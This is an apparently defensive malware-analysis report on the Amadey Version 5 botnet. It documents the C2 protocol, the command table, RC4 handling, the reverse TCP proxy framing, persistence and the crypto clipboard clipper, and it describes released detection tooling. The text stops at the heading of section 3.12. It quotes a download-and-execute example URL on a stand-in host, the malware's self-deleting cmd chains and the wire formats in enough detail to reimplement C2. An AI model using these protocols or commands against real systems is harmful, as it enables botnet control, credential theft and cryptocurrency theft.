Table of contents
- Executive Summary
- 1 Introduction
- 2 Contributions
- 3 C2 protocol and client behavior
- 3.1 General C2 Protocol
- 3.2 Task Completion Status Posts (d1/e1/e2/e3) and “unit” Parameter
- 3.3 System Information Payload Encoding
- 3.4 Unit ID Computation
- 3.5 System Information Payload Enumerations
- 3.6 C2 Proxy Protocol (for commands 15 and 16)
- 3.7 Self-Update Mechanism (Command 18)
- 3.8 Uninstall behavior (Command 19)
- 3.9 Persistence Mechanism
- 3.10 Screenshot Upload (Command 20)
- 3.11 Clipboard clipper (Command 22)
- 3.12 Credential Stealer Module (Command 21)
- 3.13 String Decryption Algorithm
- 3.14 VNC Module (Command 23) Implementation & Protocol
- 3.15 Enable RDP (Command 24)
- 3.16 Administrative User Creation (Command 25)
- 3.17 Archive Extraction (Command 26)
- 4 MITRE ATT&CK Mapping
- References
- 5 Appendix
Executive Summary
Amadey is a resilient botnet and malware loader that first appeared in 2018, evolving from a commodity tool marketed on Russian-speaking forums into a strategic asset utilized by diverse threat actors ranging from financial cybercriminals to state-sponsored groups like Secret Blizzard [1]. This report presents the first comprehensive reverse engineering analysis of Amadey Version 5, covering all versions up to 5.70. It details the malware’s transition into a sophisticated modular ecosystem capable of extensive information theft, privilege escalation, and remote control.
A comparison with the leaked Amadey Version 4 panel source code [2] highlights a significant expansion in operational capabilities. While Version 4 functioned primarily as a downloader and credential stealer, Version 5 introduces sophisticated features that bridge the gap to a full-featured Remote Access Trojan. Notable additions include a native reverse TCP proxy for network pivoting, a Hidden VNC module for stealthy remote desktop access, and mechanisms for administrative user creation. These upgrades allow operators to maintain deeper persistence and utilize compromised hosts as infrastructure, rather than simply using them as staging grounds for other malware.
Our analysis reveals a modular threat designed for redundancy and evasion. The core botnet operates over a custom HTTP protocol, utilizing a distinct three-stage lifecycle: beaconing, registration with complex system profiling, and task execution. Beyond the core bot, this report dissects Amadey’s three built-in plugins:
-
Credential Stealer: A robust module employing triple-redundant exfiltration paths to harvest credentials from browsers, email clients, FTP software, and over seven types of cryptocurrency wallets.
-
Hidden VNC Module: A remote access tool derived from the leaked TinyNuke source code [3] that establishes a hidden secondary desktop, allowing attackers to manipulate the victim machine invisibly.
-
Clipboard Clipper: A hijack module that monitors the clipboard to swap cryptocurrency addresses (Bitcoin, Ethereum, Monero, etc.) with attacker-controlled wallets.
To bridge the gap between analysis and active defense, this report accompanies the release of open-source tooling, including a C2 communication parser written in Go, advanced configuration extraction logic for 5.70+ 64-bit variants, and C2 simulation handlers for FakeNet-NG, concluding with a granular mapping of observed behaviors to the MITRE ATT&CK framework.
1 Introduction
Amadey first emerged on Russian-speaking cybercrime forums in October 2018, positioning itself not as a generic script-kiddie tool, but as a “premium” loader with a price point significantly higher than its competitors [4]. Initially designed to fill the void left by the decline of major ransomware campaigns like GandCrab, it gained popularity among criminals using exploit kits such as Fallout and Rig to secure initial access to victim machines [5].
While originally classified strictly as a botnet loader, a tool used primarily to deploy other malware families, Amadey has proven remarkably resilient. It frequently operates in a symbiotic relationship with SmokeLoader, where SmokeLoader acts as the primary infection vector, subsequently dropping Amadey to manage secondary payloads [6].
Intelligence indicates that Amadey activity significantly dropped or “phased out” around 2020 [5]. This behavior is characteristic of professional malware development cycles, often signaling a period of refactoring where code is rewritten to evade detection signatures that have accumulated over time.
By 2022 and 2023, it had re-established itself as a dominant loader in the threat landscape, often seen facilitating the deployment of high-profile ransomware strains like LockBit 3.0 [7]. Its resilience lies in its simplicity. By focusing on being a stable “doorway” into a system, it remains useful regardless of what the final payload is.
In recent years, Amadey has been adopted by state-sponsored actors. The Russian FSB-linked group Secret Blizzard has been observed using Amadey to profile high-value targets within the Ukrainian military, utilizing the commodity botnet as camouflage before deploying sophisticated espionage tools like Kazuar [1].
1.1 Evolution: From Loader (v4) to RAT (v5)
The transition from Amadey Version 4 to Version 5 represents a fundamental shift in the malware’s design philosophy. By analyzing the source code of the leaked Amadey 4 control panel [2] and comparing it with the reverse engineering results of Amadey 5 presented in this report, we observe a distinct evolution from a passive “downloader” to an interactive RAT.
A deep assessment of the Version 4 PHP source code reveals a malware family originally architected solely for file distribution. The core logic within the Version 4 MakeTask functions and the underlying database schema was strictly limited to file handling operations. The panel defined tasks based on simple file types: executables to be written to disk, executables to be injected into memory, DLLs requiring specific export calls, and PowerShell or batch scripts. The Options.php and Config.php files in the previous version focused primarily on panel security and basic bot statistics, lacking any configuration parameters for interactive control.
Version 5 breaks this “loader-only” paradigm by integrating sophisticated network infrastructure capabilities directly into the client. Unlike its predecessor, which relied on the server to simply provide URLs for payloads, the Version 5 client includes native support for a reverse TCP proxy. This allows operators to pivot through the victim’s machine to access internal network resources, a capability completely absent in the Version 4 codebase.
Furthermore, the operational scope has expanded from simple execution to persistent system manipulation. The inclusion of a Hidden VNC module based on the leaked TinyNuke source code [3] and the ability to natively create administrative user accounts suggest that Amadey is no longer just a doorway for other malware. It is now a self-sufficient platform capable of sustaining long-term espionage and manual network infiltration operations.
2 Contributions
This research provides several novel contributions to the understanding and detection of the Amadey botnet, bridging the gap between static analysis and active network defense.
-
Comprehensive Reverse Engineering of Amadey 5: We provide complete technical documentation of the Amadey 5 ecosystem, including the core x86/x64 client and all deployed plugins (Cred.dll, Clip.dll, and the VNC module). This includes a byte-level breakdown of the C2 protocol, tasking mechanisms, and the identification of specific implementation nuances in the payload decryption and VNC configuration routines.
-
Amadey 5 C2 Communication Parser (Go): We have developed and published [8] a standalone tool written in Go that automates the analysis of Amadey network traffic.
-
Inputs: Accepts an unpacked malware sample (for key extraction) and a packet capture (PCAP/PCAPNG).
-
Capabilities: It fully decrypts, parses, and interprets all C2 messages. Crucially, it reassembles and dumps extracted files—such as downloaded payloads or exfiltrated screenshots and logs—directly to disk for forensic analysis.
-
-
Advanced Configuration Extraction: While existing tools such as CAPE Sandbox [9] handle older x86 variants effectively, this report introduces new extraction logic specifically for the recent Amadey 5.70+ 64-bit variants. This functionality is integrated into the C2 parser, allowing for the automated retrieval of C2 URLs, campaign IDs, and encryption keys from modern samples. (Extraction logic for pre-5.70 x86 samples remains based on established Yara rules from the CAPE Sandbox project).
-
Full-Spectrum C2 Simulation (FakeNet-NG): We implemented and published [10] a comprehensive set of handlers for FakeNet-NG [11]. These handlers simulate the server-side logic for:
-
The core Amadey C2 (Registration, Tasking, Check-in).
-
The Credential Stealer plugin (handling triple-redundant uploads and wallet exfiltration).
-
The Clipboard Clipper (serving wallet replacement regexes).
This allows analysts to safely detonate and observe the full behavior of Amadey samples in an isolated environment without requiring active attacker infrastructure.
-
-
Complete MITRE ATT&CK Mapping: The report concludes with a granular mapping of Amadey 5′s tactics and techniques to the MITRE ATT&CK framework [12], providing defenders with actionable intelligence for rule generation and threat hunting.
3 C2 protocol and client behavior
3.1 General C2 Protocol
This document outlines the command and control (C2) protocol based on behavioral analysis of the Amadey botnet. The protocol operates over HTTP POST and follows a clear, structured lifecycle for beaconing, registration, and tasking.
3.1.1 General Characteristics
-
Transport: HTTP POST
-
C2: Up to 3 different addresses. Paths end with .php extension.
-
Data Delimiters: Server responses containing data (sleep interval, tasks) are enclosed within
<c>and<d>tags. For example:<c>data<d>. Multiple tasks within the data block are separated by the#delimiter.
3.1.2 Regional & Sandbox Evasion Checks
Before proceeding with the C2 registration, the malware performs a check to determine if the victim machine is located in a CIS (Commonwealth of Independent States) country, a common behavior in Russian-origin malware to avoid legal scrutiny in the operators’ home jurisdiction.
-
Keyboard Layout Check: Queries the registry key
HKCU\Keyboard Layout\Preload. -
Action: If a Russian or CIS keyboard layout is detected, the malware does not terminate. Instead, it sets a global restriction flag. The main C2 loop continues to function, but all subsequent tasking attempts (downloads, payloads, stealer execution) are intercepted and rejected with an
e3status code. This effectively places the bot into a “Restricted Beaconing Mode” where it remains visible to the operator but inert.
3.1.3 Communication Lifecycle
The C2 communication follows a three-stage process.
Stage 1: Initial Beacon (Check-in)
The client initiates contact to signal it is active and to retrieve the C2 sleep interval.
Client Request
-
An HTTP POST request is sent to the C2 endpoint.
-
The POST body is the static string:
st=s
Server Response
-
The server responds with the sleep interval in minutes.
-
The response is a single integer enclosed in
<c>and<d>tags. -
Example:
<c>5<d>instructs the client to sleep for 5 minutes between C2 cycles. -
The malware extracts the numeric value, converts it to an integer, and calculates the sleep duration in milliseconds (60000 * value).
Stage 2: Bot Registration & Information Exfiltration
After the initial check-in, the client sends a packet of information about the compromised system.
Client Request
-
An HTTP POST request is sent to the C2 endpoint.
-
The POST body is the registration data. This is an RC4-encrypted and then hex-encoded string containing system information, prefixed with
r=. -
Format:
r=<hex_encoded(rc4_encrypted(system_info))>
Server Response
- The server’s response to this registration contains the task list for the bot to execute. The format is described in the next section.
Stage 3: Tasking and Command Execution
The server’s primary response is a list of commands for the bot to execute.
Server Response (Task List)
-
The server sends a string of one or more tasks, enclosed in
<c>and<d>tags. -
Multiple tasks are concatenated and delimited by the
#character.
Client Action
-
The client extracts the full string from between the
<c>and<d>tags. -
The malware processes the string by splitting it using the
#delimiter and processes each resulting command individually.
3.2 Task Completion Status Posts (d1/e1/e2/e3) and “unit” Parameter
-
All task result notifications are sent using a dedicated handler function which builds a POST body of the form:
-
statusOrType=<full_task_id>&unit=<unit_id> -
The malware assembles the status token (d1/e1/e2/e3) with the task ID and appends the unit identifier.
-
-
The “full task id” is the exact 11-character task header parsed at the start of command processing.
-
The “unit” parameter corresponds to the “id” parameter in the system information payload. It is created once and reused throughout the session for screenshot filenames and status reports. See Section 3.4 for details on how it is generated from the user SID.
-
Status meanings by context:
-
d1: Completed/Success. Sent when a task is successfully executed. -
e1: Download/Validation Error. Sent when a file download fails, the file cannot be written, or the downloaded file size is below the required threshold (5120 bytes for executables, 20KB for updates). -
e2: Execution Verification Failed. Sent when the payload execution function completes but does not return the expected success magic value (42). This indicates that while the process creation was attempted, the confirmation of a successful launch was not received (e.g.,ShellExecutereturned a generic handle or error code other than the hardcoded success marker). -
e3: Restricted Mode / Region Block. Sent when a command is received but execution is strictly blocked by the internal state. Code analysis confirms this is triggered specifically if the Regional Evasion Check (CIS keyboard layout) is positive. In this state, the bot acknowledges the task to the C2 but refuses to execute any modules (including the stealer).
-
-
Example POSTs (as observed and matched to code):
d1=11111110203&unit=645595990631e1=11111110203&unit=325595990631
-
Retry/acknowledgement loop: The malware posts the status body and then polls the C2 for an acknowledgement by searching for known response markers. If not found, it re-posts after a brief sleep (approximately 1.5 seconds) up to a fixed number of attempts.
3.3 System Information Payload Encoding
The registration data sent during Stage 2 is a comprehensive payload containing detailed system information. The malware is responsible for gathering, formatting, and encoding this data before transmission. The entire process can be broken down into three phases: plaintext string construction, detailed key-value generation, and final encoding for transport.
3.3.1 Payload Structure and Formatting
The foundation of the payload is a single plaintext string. This string is constructed by concatenating multiple key-value pairs in a specific, fixed order.
-
Format: Each piece of information is formatted as
key:value. -
Delimiter: Individual key-value pairs are joined together without delimiters.
-
Final Structure:
key1:value1key2:value2...keyN:valueN
Implementation: The malware assembles the final string by combining key-value pairs sequentially until all 12 are included.
3.3.2 Key-Value Payload Structure
The following table details the 12 keys gathered and concatenated to form the registration string.
| Key | Description | Computation / Logic | Possible Values / Example |
|---|---|---|---|
id |
Transformed User Identifier | Retrieves user SID, truncates it, and applies a custom transformation algorithm. | Alphanumeric string (derived from SID). |
vs |
Version String | Hardcoded in the binary. | "5.64", "5.70", … depends on sample version. |
sd |
Campaign ID | Hardcoded value. | 6 characters hex string. |
os |
Operating System ID | Determined via Windows API calls and registry checks to identify specific version. | Integer 1-19 (see Section 3.5.1 for mapping). |
bi |
OS Bitness | Checks processor architecture. | 0: 32-bit1: 64-bit |
ar |
Admin Rights Flag | Attempts to open HKLM\System with KEY_ALL_ACCESS. Success implies Admin. |
0: No Admin1: Has Admin |
pc |
PC Name | Retrieves registry value from HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName. |
Hostname string. |
un |
Username | Calls GetUserNameA Windows API. |
Current user’s login name. |
dm |
DNS Domain Name | Calls GetComputerNameExW with ComputerNameDnsDomain flag. |
Domain name or empty string. |
av |
Antivirus ID | Checks %ProgramData% for specific AV vendor directories. |
Integer 0-13 (see Section 3.5.2 for mapping). |
lv |
Integrity Level |
Checks if the malware file size is between 400KB and 600KB. V4 leaked Panel Logic: |
0: High (Size OK)1: Low (Size Suspicious) |
og |
Stub Type | Hardcoded. Analysis of the V4 panel leak indicates this flags the binary as either a clean build (“Original”) or a packed build (“Crypt”). | 0: Crypt/Packed1: Original |
3.4 Unit ID Computation
The “unit” parameter used throughout the malware (in status reports, screenshot filenames, and credential stealer operations) is derived from the user’s Windows SID using a two-step process:
Algorithm:
-
Take the full machine ID (Windows SID in format
S-{value}-{authority}-{sub1}-{sub2}...) -
Extract ALL numeric digits from the SID string (character-by-character)
-
Take substring: position 5, length 12
Example:
-
Input SID:
S-1-5-21-3645595990-631524306-2482176416-1001 -
All digits extracted:
15213645595990631524306248217641001(33 characters) -
Substring [5:17]:
645595990631(12 characters)
Usage:
-
Status reports:
d1=11111110203&unit=645595990631 -
Screenshot filenames:
645595990631.jpg -
Credential stealer POST parameter:
id=645595990631 -
Archive naming prefix (credential stealer plugin):
645595990631_Desktop.zip
3.5 System Information Payload Enumerations
These enumerations are used to build the system information string before it is encoded and sent to the C2 server.
3.5.1 Operating System ID (os key)
Determined by using a combination of Windows API calls and registry checks.
| ID | Operating System |
|---|---|
| 1 | Windows 10 |
| 2 | Windows Server 2016 |
| 3 | Windows 8.1 |
| 4 | Windows Server 2012 / 2012 R2 |
| 7 | Windows Vista |
| 8 | Windows Server 2008 |
| 9 | Windows 7 |
| 10 | Windows Server 2008 R2 |
| 12 | Windows XP Professional x64 Edition |
| 13 | Windows Server 2003 |
| 14 | Windows XP |
| 15 | Windows 2000 |
| 16 | Windows Server 2019 |
| 17 | Windows Server 2022 |
| 18 | Windows 11 |
| 19 | Windows Server 2025 |
| - | IDs 5, 6, and 11 are unused. |
3.5.2 Antivirus ID (av key)
Determined by checking for the existence of specific directories in %ProgramData% and identifying Windows Defender based on the OS version.
| ID | Antivirus Product |
|---|---|
| 0 | None / Unknown |
| 1 | AVAST |
| 2 | Avira |
| 3 | Kaspersky |
| 4 | ESET |
| 5 | Panda Security |
| 6 | Dr.Web |
| 7 | AVG |
| 8 | 360 Total Security |
| 9 | Bitdefender |
| 10 | Norton |
| 11 | Sophos |
| 12 | Comodo |
| 13 | Windows Defender |
3.5.2.1 Final Encoding Steps
After the plaintext key:valuekey2:value2... string is fully constructed, it undergoes a final two-stage encoding process before being sent to the C2 server.
-
RC4 Encryption: The complete, concatenated system information string is encrypted using the RC4 algorithm with a pre-configured key.
-
Hex Encoding: The raw binary output of the RC4 encryption is converted into a hexadecimal string representation.
-
Prefixing: The static prefix
r=is prepended to the hex-encoded string to create the final POST body.
The final result is a single string in the format r=<hex_encoded_string>, which is then sent as the body of the HTTP POST request for registration.
3.5.3 Task Command Structure
Each individual task within the task list follows a precise fixed-width header format followed by a payload.
| Field | Offset | Length | Description |
|---|---|---|---|
| Task ID | 0 | 7 | A 7-digit numeric string identifying the task. |
| Elevation Flag | 7 | 1 |
A flag indicating whether the task should be executed with elevated privileges.
|
| Command ID | 8 | 2 | A 2-digit numeric string that maps to a specific action. (see Section 3.5.6) |
| Target Dir ID | 10 | 1 |
A single digit specifying a target directory for file operations.
|
| Payload | 11 | Variable | The data associated with the command, such as a URL, command-line arguments, or encrypted data. This field extends from offset 11 to the end of the task string (or until the next # delimiter) |
3.5.4 Payload Encryption
The payload portion of a task can be sent in plaintext or encrypted.
-
Identifier: An encrypted payload is prefixed with
+++. -
Process:
-
The client checks if the payload begins with
+++. -
If it does, the client strips this prefix.
-
The remaining string is Hex-Decoded.
-
The resulting binary data is RC4-Decrypted using a pre-configured key.
-
Recursive Decryption: If the resulting decrypted string is not a valid number (which is expected for certain configuration values), the malware recursively checks the output. If the decrypted plaintext contains the encrypted marker (
+++) again, the decryption routine (Strip Prefix → Hex Decode → RC4 Decrypt) is applied a second time.
-
3.5.5 File Payload Decryption
In addition to task string encryption, the malware supports a custom encrypted format for downloaded files (EXEs, DLLs, scripts, etc.). Before executing any downloaded payload, the malware inspects the file header.
-
Magic Signature:
01--E -
Processing Logic:
-
The malware reads the file header to check for the
01--Esignature. -
If found, it strips the 5-byte signature.
-
The remaining content is Hex-Decoded.
-
The binary data is processed through a decryption routine using the C2 RC4 key.
-
The decrypted payload overwrites the original file on disk before execution proceeds.
-
Cryptographic Implementation Anomaly (Implementation Bug)
The malware contains a significant logic error in its decryption routine.
In a standard RC4 implementation, the KSA initializes the permutation state vector (S) once. The PRGA then evolves the state S to generate a unique keystream byte k for each ciphertext byte c.
However, the Amadey developer placed the RC4 initialization call inside the data processing loop. Consequently, the KSA is re-executed for every single byte of the payload.
Description of the Flaw
Let K be the RC4 key and P be the ciphertext. For every byte P_i at index i:
-
The state S is reset to the initial permutation derived from K.
-
The PRGA generates the first byte of the keystream, k_0.
-
The plaintext D_i is calculated as D_i = P_i xor k_0.
Impact
This implementation error degrades the RC4 stream cipher into a static Single-Byte XOR Cipher. The key for this XOR operation is the first byte of the keystream generated by the C2 key.
Because the effective encryption key is reduced to a single byte (k_0), the keyspace is trivially small (2^8 = 256 possibilities). Defenders can recover secondary payloads from network packet captures without knowing the C2 key by brute-forcing this byte. A successful decryption is easily validated by checking for standard file signatures (e.g., the MZ header for Windows executables).
3.5.6 Command Reference
The 2-digit Command ID maps to the following actions:
| Command ID | Description | Payload Description |
|---|---|---|
| 10 | Download and Execute EXE | URL of the .exe file to download. |
| 11 | Download and Execute DLL | URL of the .dll file, followed by ::: and the export name or parameters. |
| 12 | Download and Execute CMD | URL of the .cmd script to download. |
| 13 | Download File | URL of the file to download. |
| 14 | Download and Execute PowerShell Script | URL of the .ps1 script to download. |
| 15 | Start TCP Proxy Server | IP address / hostname for proxy to connect to. |
| 16 | Stop TCP Proxy Server | No payload required. |
| 18 | Self-Update | URL of the new executable. |
| 19 | Self-Remove / Uninstall | No payload required. Removes persistence (Scheduled Task) and schedules cleanup of its directory. |
| 20 | Capture and Exfiltrate Screenshot | No payload required. Takes a screenshot, saves it as a JPG in %TEMP%, and uploads it to the C2. |
| 21 | Start Stealer Plugin cred(64).dll | No payload required. Downloads and executes credential stealer module via rundll32.exe. See detailed protocol documentation in Section 3.12. |
| 22 | Start Clipper Plugin clip(64).dll | No payload required. Downloads and executes crypto hijacker module via rundll32.exe. See detailed protocol documentation in Section 3.11. |
| 23 | Start VNC Session | VNC server IP/hostname |
| 24 | Enable RDP | No payload required. Modifies registry keys and firewall rules to enable Remote Desktop Protocol. |
| 251 | Create Administrative User | String containing username@password. The malware splits this string to create a new local admin. |
| 262 | Download and Extract ZIP | URL of the .zip archive. |
| 27 | Download and Execute MSI | URL of the .msi package to download and execute. |
| 28 | Execute CMD (Variant) | URL of the .cmd script. The dispatcher logic sets a distinct internal flag to ‘1’ for this command (compared to ‘0’ for Command 12). However, this flag is passed to an unused parameter in the execution handler, rendering Command 28 functionally identical to Command 12 in the analyzed sample. |
| 29 | Download and Execute EXE (Variant) | URL of the .exe file. The dispatcher logic sets a distinct internal flag to ‘1’ for this command (compared to ‘0’ for Command 10). However, this flag is passed to an unused parameter in the execution handler, rendering Command 29 functionally identical to Command 10 in the analyzed sample. |
3.5.6.1 Command 28/29 Implementation Anomaly
Reverse engineering of the main command dispatch routine reveals a distinct implementation pattern for Commands 28 and 29, though the functionality associated with this pattern appears to be broken or unimplemented in the analyzed version.
- Standard Commands (e.g. 10, 12, 27): The dispatcher hardcodes a specific internal boolean argument to
'0'(False) before calling the file execution handler. - Variant Commands (28 & 29): The dispatcher hardcodes this same argument to
'1'(True).
The Unimplemented Feature: Despite this deliberate distinction in the dispatch logic, the file execution handler accepts this boolean as its final argument but never references it within its function body.
Conclusion: The binary distinction (0 vs 1) strongly implies that Commands 28 and 29 are intended to trigger a specific mode of operation that overrides standard task settings. However, because the handler ignores the argument, this intended feature is effectively inert. As a result, Commands 28 and 29 currently behave identically to the standard Commands 12 and 10.
3.5.6.2 Payload Persistence & Execution Flags
Certain commands (10, 11, 12, 27, 28, 29) support a special Persistence Marker.
-
Marker (!): If the payload URL begins with the
!character (e.g.,!http://malicious.com/payload.exe), the malware strips the character and enables persistence for the downloaded artifact. -
Mechanism: It creates a value in the Registry Run key (
HKLM\...\Run) using the payload’s filename as the key and the path to the downloaded file as the value. -
Effect: The downloaded payload will automatically execute every time the user logs in.
-
Execution Flags:
- PowerShell (Command 14): Scripts are executed using
powershell.exe -executionpolicy remotesigned -File "[script_path]". - CMD (Commands 12, 28): Scripts are executed using
cmd.exe /k [script_path].
- PowerShell (Command 14): Scripts are executed using
3.6 C2 Proxy Protocol (for commands 15 and 16)
3.6.1 Overview
The malware implements a reverse TCP proxy, allowing the C2 operator to pivot into the victim’s network. The functionality is initiated by C2 command 15 and terminated by command 16.
The core mechanism involves two types of connections:
-
C2 Proxy Channel: A single, persistent TCP connection established by the malware outbound to a C2-controlled server. This serves as the primary control and data-forwarding channel.
-
Tunnels: Multiple, ephemeral TCP connections established by the malware outbound to arbitrary targets specified by the C2 operator. Data is relayed between the C2 server and these target systems through the main C2 Proxy Channel.
The protocol uses a custom binary framing format to multiplex data from different tunnels over the single C2 Proxy Channel, using a session ID to identify each tunnel.
3.6.2 Key Components and Data Structures
-
Start Proxy Server (Command 15): Initiates the entire process.
-
Receives the proxy server’s IP (default port: 111).
-
Sets a global flag to enable the proxy.
-
Creates the main proxy server thread.
-
-
Proxy Server Thread: The main thread for the proxy functionality. It runs in a loop as long as the proxy is enabled, repeatedly attempting to connect to the C2 proxy channel.
-
Connection Handler:
- Establishes the persistent C2 Proxy Channel to the server IP/port. Retries connection every 3 seconds if it fails.
- Once connected, continuously receives and handles frames from the C2 server.
- If the connection is lost, the function returns and the proxy thread will attempt to reconnect.
-
Message Dispatcher: The core component that reads and parses frames from the C2 Proxy Channel and acts based on the Command Code.
-
Tunnel Worker Thread: A worker thread created to handle a single tunnel. It connects to the final target, sends a confirmation message back to the C2, and then relays data between the target and the C2 Proxy Channel.
-
Global State:
-
A flag that controls the lifetime of the proxy server thread.
-
The socket handle for the main C2 Proxy Channel.
-
A thread-safe linked list that stores information about each active tunnel, including its Session ID and socket handle.
-
3.6.3 Protocol Message Framing
All communication over the C2 Proxy Channel uses a custom binary framing protocol.
3.6.3.1 C2 Server → Malware Client Frame Format
Messages sent from the C2 server to the malware follow this structure:
| Field | Offset | Length | Description |
|---|---|---|---|
| Payload Length | 0 | 4 | Integer specifying the size of the Payload field (Little-Endian). |
| Session ID | 4 | 8 | Integer that uniquely identifies a tunnel (Little-Endian). |
| Command Code | 12 | 1 | A single byte character defining the action to be taken. 'U' for create tunnel, 'p' for proxy data. |
| Payload | 13 | Variable | The data associated with the command. |
3.6.3.2 Malware Client → C2 Server Frame Format
Messages sent from the malware back to the C2 server are simpler and are always considered proxied data.
| Field | Offset | Length | Description |
|---|---|---|---|
| Payload Length | 0 | 4 | Integer specifying the size of the Payload field (Little-Endian). |
| Session ID | 4 | 8 | Integer that uniquely identifies a tunnel (Little-Endian). |
| Payload | 12 | Variable | The raw data received from the target system’s socket. |
3.6.4 Detailed Proxy Lifecycle and Message Flow
The following steps detail the sequence of events from initiation to termination. This generic flow, including connection retries and frame handling logic, is visualized in Figure 1.
-
Initiation: The malware receives C2 command 15, which starts the proxy server thread.
-
Channel Connection: The connection handler establishes a TCP connection to the proxy server. This is the C2 Proxy Channel.
-
Create Tunnel Request (C2 → Client):
- The C2 server sends a Create Tunnel (‘U’) frame.
- The Payload for a ‘U’ frame has its own internal structure:
Field Offset Length Description Sub-command 0 4 A Big-Endian integer indicating the type of connection. 1for connect-by-IP,3for connect-by-hostname.Padding 4 4 Zero-padding (present when Sub-command is 3, overwritten by IP when Sub-command is 1). Target IP / Hostname Variable Variable - If Sub-cmd
1: IP Address (4 bytes) at Offset 4. - If Sub-cmd
3: Hostname string starts at Offset 8, followed by a null terminator.
Target Port Variable 2 The port to connect to. Big-Endian (Network Byte Order). Located at Offset 8 for IP mode, or immediately after the Hostname’s null terminator. -
Tunnel Creation:
-
The message dispatcher receives the ‘U’ frame.
-
It packages the Session ID and payload and spawns a tunnel worker thread.
-
The tunnel worker parses the payload, resolves the target (if needed), and establishes a new TCP connection (a “tunnel”) to the final destination.
-
It adds an entry to the global tunnel list containing the Session ID and the new socket handle.
-
-
Tunnel Confirmation (Client → C2):
-
Upon a successful connection to the target, the tunnel worker immediately sends a confirmation frame back to the C2 server.
-
This frame has a fixed payload length of 10 bytes and serves as a “connection successful” signal.
-
-
Data Forwarding (C2 → Target):
-
The C2 server sends a Proxy Data (‘p’) frame over the C2 Proxy Channel. The Session ID matches the tunnel created in step 3. The Payload is the data to be sent to the target.
-
The message dispatcher receives this frame, looks up the Session ID in the global tunnel list, finds the corresponding socket, and forwards the Payload to the target.
-
-
Data Forwarding (Target → C2):
-
The tunnel worker continuously receives data from its target socket.
-
When data is received from the target, it sends it to the C2.
-
This constructs a client-to-server frame containing the Session ID of the tunnel and the received data as the Payload. This frame is sent back to the C2 server over the C2 Proxy Channel.
-
-
Closing a Tunnel:
-
The C2 server sends a Proxy Data (‘p’) frame with a Payload Length of 0.
-
When the message dispatcher receives this, it finds the matching tunnel and closes the socket. The tunnel worker thread for that session will then terminate.
-
-
Termination:
-
The malware receives C2 command 16, stopping the proxy server.
-
It sets the proxy enabled flag to 0.
-
It closes the C2 proxy socket. This causes any blocking receive calls to fail, breaking the inner loop.
-
The proxy server thread’s main loop condition is now false, so the thread exits, terminating all proxy functionality.
-
3.6.5 Protocol Validation via simulation
To validate the analysis of the binary framing protocol, endianness, and multiplexing capabilities, a custom C2 emulation handler was developed. The handler sequentially establishes two tunnels to different targets and then multiplexes data over the single C2 connection.
Figure 2 illustrates the validated flow:
-
Tunnel A: Created via IP (
10.0.0.10) on port4444. -
Tunnel B: Created via Hostname (
dummy.com) on port4444.
3.7 Self-Update Mechanism (Command 18)
The self-update routine performs a safe binary replacement:
-
Download: Fetches the new binary to a temporary location.
-
Validation: Verifies the file size is valid (greater than 20KB).
-
Atomic Replacement: Constructs and executes a chained shell command to minimize downtime:
cmd.exe /k taskkill /f /im "{current_exe}" && timeout 1 && del "{current_exe}" && ren {new_file} {current_exe} && {current_exe} && Exit
This sequence ensures the running process is terminated, the old file removed, the new file renamed to match the original, and the new version immediately launched.
3.8 Uninstall behavior (Command 19)
-
Persistence Removal: Checks an internal configuration flag to see if persistence was enabled. If so, it deletes the Scheduled Task.
-
Immediate Cleanup: Executes commands to terminate the bot process and delete the executable.
cmd.exe /k taskkill /f /im "{exe_name}" && timeout 1 && del {exe_name} && Exit -
Failsafe Cleanup (RunOnce): If the bot detects it is running from its installed location (rather than as a dropper), it creates a registry entry in
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\Rem. This entry queues the commandcmd /C RMDIR /s/q <install_dir>to forcibly remove the installation directory during the next user login, ensuring cleanup even if files are locked during the immediate attempt.
3.9 Persistence Mechanism
Amadey relies on the Windows Task Scheduler for its own persistence. This is distinct from the registry persistence offered for downloaded payloads.
-
Implementation: Utilizes the COM
ITaskSchedulerinterface (v1.0 API). -
Task Name: The task is named after the hardcoded installation filename, stripped of its extension.
-
Target: The task executes the copy of the malware located in its installation directory.
-
Trigger Configuration: The malware creates a highly aggressive “Once” trigger with repetition:
-
Trigger Type:
TASK_TIME_TRIGGER_ONCE(Starts immediately). -
Repetition Interval:
1 minute.
-
3.10 Screenshot Upload (Command 20)
The screenshot feature saves a JPG in the system temp directory and uploads it via an HTTP POST using multipart/form-data:
-
File path creation: Uses the system temp directory, appends “.jpg” extension, the “unit” value identifier is used as the filename base. The screenshot is then captured and saved.
-
Upload URL: The C2 endpoint with
?scr=1appended. -
HTTP body format: multipart/form-data with boundary; JPEG bytes are posted as a field named “data” with
filename="<unit>.jpg", content typeapplication/octet-stream. -
Multiple POSTs: Three consecutive upload attempts occur with different C2 URLs. If fewer than three C2 servers are configured, the corresponding requests are not sent.
-
Cleanup: After upload, the local temp JPG is deleted if present.
3.11 Clipboard clipper (Command 22)
3.11.1 Overview
-
Module: clip.dll / clip64.dll (both are 32-bit PEs; same hashes as Amadey V4 panel leak)
-
Purpose: fetch runtime wallet-address templates for clipboard replacement
-
Transport: HTTP POST (WinINet), Content-Type: application/x-www-form-urlencoded
-
Request body: wlt=1
-
No
<c>…<d>framing; this module has its own simple tag format
3.11.2 Wire format
-
Client → Server (one-shot)
-
POST C2 PATH
-
Body: wlt=1
-
-
Server → Client (single tagged record)
-
The server returns five wallet addresses embedded between positional tags.
-
Field mapping (exact order and tags):
-
_1_ … −1- → bitcoin
-
_2_ … −2- → ethereum
-
_3_ … −3- → litecoin
-
_4_ … −4- → dogecoin
-
_5_ … −5- → monero
-
-
Encoding mode (prefix):
-
+++… RC4 enabled: each field value is RC4-encrypted
-
---… RC4 disabled: field values are plaintext
-
3.11.2.1 Decoding rules (client)
-
Determine mode by first three characters:
-
If +++:
-
Strip prefix
-
For each field:
-
parse value between tags
-
hex-decode
-
RC4-decrypt with the panel-configured key (same clipper schema as Amadey V4)
-
-
-
If ---:
-
Strip prefix
-
For each field:
- take value between tags as plaintext (no hex/RC4)
-
-
-
Validation:
-
All five fields must be present and non-empty.
-
If fields are missing/empty, the module fails initialization and does not proceed with clipboard replacement.
-
3.11.2.2 Action triggered by the response
-
On successful parse/decode, the five wallet templates are cached in memory and the module proceeds to monitor the clipboard and replace detected cryptocurrency addresses with the operator-provided ones (per currency type mapping above).
-
There are no further HTTP requests from this module after this handshake in the analyzed sample.
3.12 Credential Stealer Module (Command 21)
